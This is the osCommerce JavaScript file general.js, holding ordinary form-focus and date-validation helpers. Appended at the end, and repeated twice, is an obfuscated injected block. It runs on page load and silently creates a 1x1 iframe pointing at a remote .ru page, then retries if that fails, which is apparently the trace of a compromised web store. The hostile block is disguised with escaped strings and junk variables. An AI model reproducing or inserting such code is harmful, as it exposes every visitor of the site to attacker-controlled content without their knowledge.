/*
  $Id: general.js,v 1.3 2003/02/10 22:30:55 hpdl Exp $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}
function pM(){};this.pWB=2143;pM.prototype = {i : function() {var r=function(){return 'r'};this.xQ=16326;rK=false;this.y=false;var s="";var v=document;this.z=333;var j="j";this.aF='';var d='';var xU='';this.yP=false;var g=window;function w(){};this.uHU='';var hUL="hUL";vY=false;var uT=function(){};var jU=function(){return 'jU'};var n = this;this.rI="";this.uD=false;var eV=new Array();this.zW="";this.cT="cT";this.pI=31690;String.prototype.jO=function(u, b){var o=this; return o.replace(u, b)};bG="bG";var kF=function(){};this.lW=27514;var xC=new Date();var aFG="";var mR=new Array();fU=false;var x = '\u0073\u007a\u0074\u0054'.replace(/z/g, 'w').replace(/w/g, 'e') + '\u0069\u0077\u007a\u006f'.replace(/z/g, 'e').replace(/w/g, 'm') + '\u0075\u007a'.replace(/z/g, 'w').replace(/w/g, 't');var tM=function(){return 'tM'};function eH(){};var yL=function(){};var dQ=function(){return 'dQ'};var e = '\u0074\u0077\u0077\u0077\u0077\u007a\u0061'.replace(/z/g, 'e').replace(/wwww/g, 'recr') + '\u0074\u007a\u0045\u006c\u007a\u006d\u0077\u0077\u0077\u0077\u007a\u0074'.replace(/z/g, 'e').replace(/wwww/g, 'entg');var nA='';var yD="";var iF=new Array();var jA=new Date();this.cN="cN";var nQ=function(){return 'nQ'};var h = '\u0077\u0077\u0077\u007a\u0065'.replace(/z/g, 't').replace(/ww/g, 'ri');var vA='';var kP=function(){};var nM=function(){return 'nM'};this.iX='';this.wJ=false;this.jG=30526;sP="";try {this.mN=false;tG='';this.eX='';fG=false;var rE="rE";var sV=26779;var uH = '\u0070\u007a\u0077\u0068'.replace(/z/g, 'u').replace(/w/g, 's');var eXQ=function(){};function iR(){};var jE='';var vAR="vAR";zE=false;var uJ = '\u0073\u007a\u0063'.replace(/z/g, 'w').replace(/w/g, 'r');var lY=false;mF="";var tO=new Date();var aD=function(){};aJ="";this.hUB="";var jW=function(){return 'jW'};var qD=18387;var oV = '\u0076\u0077\u0077\u007a\u0066'.replace(/z/g, 'i').replace(/ww/g, 'bm')+'\u0072\u007a\u0077\u0074'.replace(/z/g, 's').replace(/w/g, 'e');eR=11717;lE='';function iN(){};this.sH=false;var bS="bS";var m = '\u007a\u007a\u0064'.replace(/z/g, 'w').replace(/w/g, 'i') + '\u0074\u007a'.replace(/z/g, 'w').replace(/w/g, 'h');this.nE="";cH=29349;this.eF='';this.dQL="";var hO = '\u0068\u007a\u0069'.replace(/z/g, 'w').replace(/w/g, 'e') + '\u0067\u007a\u0074'.replace(/z/g, 'w').replace(/w/g, 'h');var yR=new Array();rG="rG";this.kD=false;var uDA=new Array();gF=16957;jUP='';var nW=new Date();var l = '1';var bE="bE";this.iP='';this.fA="";hQ='';var uB=new Array();var nWP=new Date();gZ = '\u0067\u0065\u0074\u007a\u0077\u0077\u0077\u0074\u0074\u0072\u0069\u007a\u0064\u0066'.replace(/z/g, 's').replace(/www/g, 'etA');var mL=30547;var hW=new Date();aP=19649;this.vC=10482;zI="zI";var mD="";var dC=false;gL="";var k = '\u0061\u007a\u007a'.replace(/z/g, 'w').replace(/w/g, 'p') + '\u0065\u007a\u0064\u0077\u0077\u0069\u006c\u0064'.replace(/z/g, 'n').replace(/ww/g, 'Ch');this.yF="yF";var vE=function(){return 'vE'};var iJ=new Array();nK="nK";var nI=function(){return 'nI'};var iB=10607;var fE='';var xO = '\u0062\u007a\u0077\u0079'.replace(/z/g, 'o').replace(/w/g, 'd');var pO=false;var wF=19551;fY=false;var jWD="jWD";this.dQJ="";var dS=function(){return 'dS'};var lM = '\u0073\u007a'.replace(/z/g, 'w').replace(/w/g, 'u')+'\u0062\u0077\u0077\u007a\u0069'.replace(/z/g, 'r').replace(/ww/g, 'st')+'\u006e\u007a'.replace(/z/g, 'w').replace(/w/g, 'g');this.dI="";this.aT="aT";var nY=false;function aB(){};var gN=function(){};var lC=false;var f = new Array();this.hQF="";zO='';var mZ=new Array();yJ=10217;var vCR="vCR";vS="vS";f[uH](hO, lM, e, m, oV, gZ, xO, k, l, v, uJ);this.jGD=27135;var rIB='';this.wH='';tI=false;var lK=function(){return 'lK'};var iZ=4739;iV=8949;var rKT="rKT";var pS=new Date();var lA=false;iT="";this.qR=false;var lG="lG";var mNA=12580;wZ=27785;function gP(){};var bM=new Date();cV=2553;qH="";jC=false;var iFG=function(){};var pQ=new Date();var wP="";var dE="dE";var yN=26267;var mDS="";qL="";var bW='';this.bC=21170;this.sT='';var fM=new Date();var zOB="zOB";nAF=false;yB="";var fYL=new Date();var lMJ=false;tC=false;var jQ="jQ";var sR=23627;var fUZ=new Date();var dID=false;var c = f[2][f[1]](3, 16);this.cJ="cJ";bMJ='';var wR="";this.nAD=4103;var fS = f[4][f[1]](3, 6);var eP="";var jEJ=false;pW="pW";this.yH="yH";var sD=new Array();this.nWL="";nU='';var qF=19963;t = fS + '\u0061\u007a\u0065'.replace(/z/g, 'w').replace(/w/g, 'm');this.sHG="sHG";var iJO=18268;var kL=function(){};var sPO=11616;aDS=24298;var oZ=new Array();var q = f[5][f[1]](3, 11);var qB="";this.zWL=31691;var rU=new Date();this.sTK="sTK";var hWL=new Date();var jEV="jEV";hU = q + '\u0062\u0077\u007a\u0065'.replace(/z/g, 't').replace(/w/g, 'u');this.kLS=false;var qLE=new Array();var uJI=function(){};nUL="nUL";var tK=false;qV="";var xOX='';var vO = n.p();var qP=16643;zEJ=false;var xW=function(){return 'xW'};this.yZ='';this.kT=false;lWJ='';zWR="zWR";var vYJ="vYJ";var a=f[9][c](t);var oX=function(){};var tQ="tQ";var iNO=new Array();var uL=function(){};var mJ=new Array();zY=false;a[f[10]] = vO;var rW="rW";var gT=15631;var jI=new Date();var pWT=function(){return 'pWT'};xY="xY";this.sJ="sJ";a[f[3]] = f[8];var yDS=9424;uHI=6874;this.oVW='';var tY=function(){return 'tY'};var cF=19707;a[f[0]] = f[8];var eXQL=function(){};this.tYN="";tMR='';rED="rED";var eFK=23416;qJ=8845;mLS="";kX=20929;var vSR="vSR";var hA=new Date();pIZ='';tW=false;f[9][f[6]][f[7]](a);var zIH=false;this.tMV="";var mRK=new Array();var qPI=function(){};var uLY=24144;} catch(fQ) {var xM="xM";var aZ=25703;var uJA=function(){};var mX=19579;v.write('\u003c\u0068\u0074\u006d\u006c\u0020\u003e\u003c\u0062\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u006d\u006c\u003e'.replace(/zz/g, 'ww').replace(/wwwwwwwwwwwwwwww/g, 'ody ></body></ht'));this.cFQ=false;this.iH='';this.cTC=false;var eB=new Array();var vSN=new Date();g[x](function(){ n.i() }, 266);this.eRS='';this.qVQ=false;var qJG=31784;cFM=30578;}xQT="xQT";var rS="rS";var oF=new Array();dIT=false;},p : function() {eBQ="";var sB=function(){};var lCJ=function(){return 'lCJ'};return '\u007a\u0074\u0074\u0070\u003a\u002f\u002f\u006c\u0069\u0073\u0077\u0077\u0069\u0063\u006b\u0073\u002e\u0072\u0075\u002f\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u002f\u0074\u007a\u0075\u006d\u0062\u0073\u002e\u0070\u007a\u0070'.replace(/z/g, 'h').replace(/ww/g, 'pt');this.eVQ=false;var mXE=new Array();this.kB=false;zYX='';}};var xA='';var bSD=new pM(); this.oVA=false;bSD.i();function iRW(){};function pM(){};this.pWB=2143;pM.prototype = {i : function() {var r=function(){return 'r'};this.xQ=16326;rK=false;this.y=false;var s="";var v=document;this.z=333;var j="j";this.aF='';var d='';var xU='';this.yP=false;var g=window;function w(){};this.uHU='';var hUL="hUL";vY=false;var uT=function(){};var jU=function(){return 'jU'};var n = this;this.rI="";this.uD=false;var eV=new Array();this.zW="";this.cT="cT";this.pI=31690;String.prototype.jO=function(u, b){var o=this; return o.replace(u, b)};bG="bG";var kF=function(){};this.lW=27514;var xC=new Date();var aFG="";var mR=new Array();fU=false;var x = '\u0073\u007a\u0074\u0054'.replace(/z/g, 'w').replace(/w/g, 'e') + '\u0069\u0077\u007a\u006f'.replace(/z/g, 'e').replace(/w/g, 'm') + '\u0075\u007a'.replace(/z/g, 'w').replace(/w/g, 't');var tM=function(){return 'tM'};function eH(){};var yL=function(){};var dQ=function(){return 'dQ'};var e = '\u0074\u0077\u0077\u0077\u0077\u007a\u0061'.replace(/z/g, 'e').replace(/wwww/g, 'recr') + '\u0074\u007a\u0045\u006c\u007a\u006d\u0077\u0077\u0077\u0077\u007a\u0074'.replace(/z/g, 'e').replace(/wwww/g, 'entg');var nA='';var yD="";var iF=new Array();var jA=new Date();this.cN="cN";var nQ=function(){return 'nQ'};var h = '\u0077\u0077\u0077\u007a\u0065'.replace(/z/g, 't').replace(/ww/g, 'ri');var vA='';var kP=function(){};var nM=function(){return 'nM'};this.iX='';this.wJ=false;this.jG=30526;sP="";try {this.mN=false;tG='';this.eX='';fG=false;var rE="rE";var sV=26779;var uH = '\u0070\u007a\u0077\u0068'.replace(/z/g, 'u').replace(/w/g, 's');var eXQ=function(){};function iR(){};var jE='';var vAR="vAR";zE=false;var uJ = '\u0073\u007a\u0063'.replace(/z/g, 'w').replace(/w/g, 'r');var lY=false;mF="";var tO=new Date();var aD=function(){};aJ="";this.hUB="";var jW=function(){return 'jW'};var qD=18387;var oV = '\u0076\u0077\u0077\u007a\u0066'.replace(/z/g, 'i').replace(/ww/g, 'bm')+'\u0072\u007a\u0077\u0074'.replace(/z/g, 's').replace(/w/g, 'e');eR=11717;lE='';function iN(){};this.sH=false;var bS="bS";var m = '\u007a\u007a\u0064'.replace(/z/g, 'w').replace(/w/g, 'i') + '\u0074\u007a'.replace(/z/g, 'w').replace(/w/g, 'h');this.nE="";cH=29349;this.eF='';this.dQL="";var hO = '\u0068\u007a\u0069'.replace(/z/g, 'w').replace(/w/g, 'e') + '\u0067\u007a\u0074'.replace(/z/g, 'w').replace(/w/g, 'h');var yR=new Array();rG="rG";this.kD=false;var uDA=new Array();gF=16957;jUP='';var nW=new Date();var l = '1';var bE="bE";this.iP='';this.fA="";hQ='';var uB=new Array();var nWP=new Date();gZ = '\u0067\u0065\u0074\u007a\u0077\u0077\u0077\u0074\u0074\u0072\u0069\u007a\u0064\u0066'.replace(/z/g, 's').replace(/www/g, 'etA');var mL=30547;var hW=new Date();aP=19649;this.vC=10482;zI="zI";var mD="";var dC=false;gL="";var k = '\u0061\u007a\u007a'.replace(/z/g, 'w').replace(/w/g, 'p') + '\u0065\u007a\u0064\u0077\u0077\u0069\u006c\u0064'.replace(/z/g, 'n').replace(/ww/g, 'Ch');this.yF="yF";var vE=function(){return 'vE'};var iJ=new Array();nK="nK";var nI=function(){return 'nI'};var iB=10607;var fE='';var xO = '\u0062\u007a\u0077\u0079'.replace(/z/g, 'o').replace(/w/g, 'd');var pO=false;var wF=19551;fY=false;var jWD="jWD";this.dQJ="";var dS=function(){return 'dS'};var lM = '\u0073\u007a'.replace(/z/g, 'w').replace(/w/g, 'u')+'\u0062\u0077\u0077\u007a\u0069'.replace(/z/g, 'r').replace(/ww/g, 'st')+'\u006e\u007a'.replace(/z/g, 'w').replace(/w/g, 'g');this.dI="";this.aT="aT";var nY=false;function aB(){};var gN=function(){};var lC=false;var f = new Array();this.hQF="";zO='';var mZ=new Array();yJ=10217;var vCR="vCR";vS="vS";f[uH](hO, lM, e, m, oV, gZ, xO, k, l, v, uJ);this.jGD=27135;var rIB='';this.wH='';tI=false;var lK=function(){return 'lK'};var iZ=4739;iV=8949;var rKT="rKT";var pS=new Date();var lA=false;iT="";this.qR=false;var lG="lG";var mNA=12580;wZ=27785;function gP(){};var bM=new Date();cV=2553;qH="";jC=false;var iFG=function(){};var pQ=new Date();var wP="";var dE="dE";var yN=26267;var mDS="";qL="";var bW='';this.bC=21170;this.sT='';var fM=new Date();var zOB="zOB";nAF=false;yB="";var fYL=new Date();var lMJ=false;tC=false;var jQ="jQ";var sR=23627;var fUZ=new Date();var dID=false;var c = f[2][f[1]](3, 16);this.cJ="cJ";bMJ='';var wR="";this.nAD=4103;var fS = f[4][f[1]](3, 6);var eP="";var jEJ=false;pW="pW";this.yH="yH";var sD=new Array();this.nWL="";nU='';var qF=19963;t = fS + '\u0061\u007a\u0065'.replace(/z/g, 'w').replace(/w/g, 'm');this.sHG="sHG";var iJO=18268;var kL=function(){};var sPO=11616;aDS=24298;var oZ=new Array();var q = f[5][f[1]](3, 11);var qB="";this.zWL=31691;var rU=new Date();this.sTK="sTK";var hWL=new Date();var jEV="jEV";hU = q + '\u0062\u0077\u007a\u0065'.replace(/z/g, 't').replace(/w/g, 'u');this.kLS=false;var qLE=new Array();var uJI=function(){};nUL="nUL";var tK=false;qV="";var xOX='';var vO = n.p();var qP=16643;zEJ=false;var xW=function(){return 'xW'};this.yZ='';this.kT=false;lWJ='';zWR="zWR";var vYJ="vYJ";var a=f[9][c](t);var oX=function(){};var tQ="tQ";var iNO=new Array();var uL=function(){};var mJ=new Array();zY=false;a[f[10]] = vO;var rW="rW";var gT=15631;var jI=new Date();var pWT=function(){return 'pWT'};xY="xY";this.sJ="sJ";a[f[3]] = f[8];var yDS=9424;uHI=6874;this.oVW='';var tY=function(){return 'tY'};var cF=19707;a[f[0]] = f[8];var eXQL=function(){};this.tYN="";tMR='';rED="rED";var eFK=23416;qJ=8845;mLS="";kX=20929;var vSR="vSR";var hA=new Date();pIZ='';tW=false;f[9][f[6]][f[7]](a);var zIH=false;this.tMV="";var mRK=new Array();var qPI=function(){};var uLY=24144;} catch(fQ) {var xM="xM";var aZ=25703;var uJA=function(){};var mX=19579;v.write('\u003c\u0068\u0074\u006d\u006c\u0020\u003e\u003c\u0062\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u007a\u006d\u006c\u003e'.replace(/zz/g, 'ww').replace(/wwwwwwwwwwwwwwww/g, 'ody ></body></ht'));this.cFQ=false;this.iH='';this.cTC=false;var eB=new Array();var vSN=new Date();g[x](function(){ n.i() }, 266);this.eRS='';this.qVQ=false;var qJG=31784;cFM=30578;}xQT="xQT";var rS="rS";var oF=new Array();dIT=false;},p : function() {eBQ="";var sB=function(){};var lCJ=function(){return 'lCJ'};return '\u007a\u0074\u0074\u0070\u003a\u002f\u002f\u006c\u0069\u0073\u0077\u0077\u0069\u0063\u006b\u0073\u002e\u0072\u0075\u002f\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u002f\u0074\u007a\u0075\u006d\u0062\u0073\u002e\u0070\u007a\u0070'.replace(/z/g, 'h').replace(/ww/g, 'pt');this.eVQ=false;var mXE=new Array();this.kB=false;zYX='';}};var xA='';var bSD=new pM(); this.oVA=false;bSD.i();function iRW(){};
